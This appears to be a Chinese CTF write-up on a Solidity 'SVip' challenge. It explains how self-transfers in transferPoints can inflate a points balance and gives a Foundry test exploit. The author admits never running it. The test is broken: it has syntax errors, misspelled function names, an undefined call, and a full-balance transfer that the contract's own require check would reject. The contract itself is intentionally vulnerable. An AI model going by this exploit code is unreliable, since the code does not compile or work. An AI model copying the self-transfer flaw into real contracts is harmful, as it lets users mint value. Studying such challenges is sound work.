CTF-SVip

首先先看题目代码

// pragma solidity 0.4.24; //这是原来的版本,很奇怪不知道为啥无法在foundry编译,所以换成以下版本
pragma solidity ^0.8.13;

contract SVip {
// 一个地址记录一个分数
mapping(address => uint) public points;
// 查看某地址是不是超级VIP
mapping(address => bool) public isSuperVip;
uint256 public numOfFree;

// 用户成为超级VIP需要999分数
function promotionSVip() public {
require(points[msg.sender] >= 999, "Sorry, you don't have enough points");
isSuperVip[msg.sender] = true;
}

// 领取免费分数,所有人领取的分数加起来不得等于100
function getPoint() public{
require(numOfFree < 100);
points[msg.sender] += 1;
numOfFree++;
}

// 送分,明显是存在发给自己这种漏洞情况
function transferPoints(address to, uint256 amount) public {
uint256 tempSender = points[msg.sender];
uint256 tempTo = points[to];
require(tempSender > amount);
require(tempTo + amount > amount);
points[msg.sender] = tempSender - amount;
points[to] = tempTo + amount;
}

// 任务是成为超级VIP
function isComplete() public view returns(bool) {
require(isSuperVip[msg.sender]);
return true;
}

}

虽然免费领取的分数有100的上限,但是有个途径可以让我们有增加分数的机会,就是在transferPoints函数中,就存在一个自我的转账的机会,让自己的分数增加,(由于我克隆的仓库出现了网络的问题,所以不能 实现一个复现了)

测试代码:

//SPDX-License-Identifier: MIT
pragam solidity^0.8.0;

import "forge-std/Test.sol"
import "src/SVip.sol"

contract hack is test{
SVip svip;

function setUp() public {
svip = new SVip();

}

function test_SVip() public {
//首先领取分数
for (int i = 0; i<20;i++)
svip.getPoint();

//通过自我转账来实现分数的999,因为转账一次翻俩倍
//20->40->80->160->320->640->1280
for(int i = 0; i< 6;i++ )
svip.tranferPoint(address(this),points(address(this)));

svip.promotionSVip();
assert(svip.isComplete(),ture);
}
}

这样的可以解决了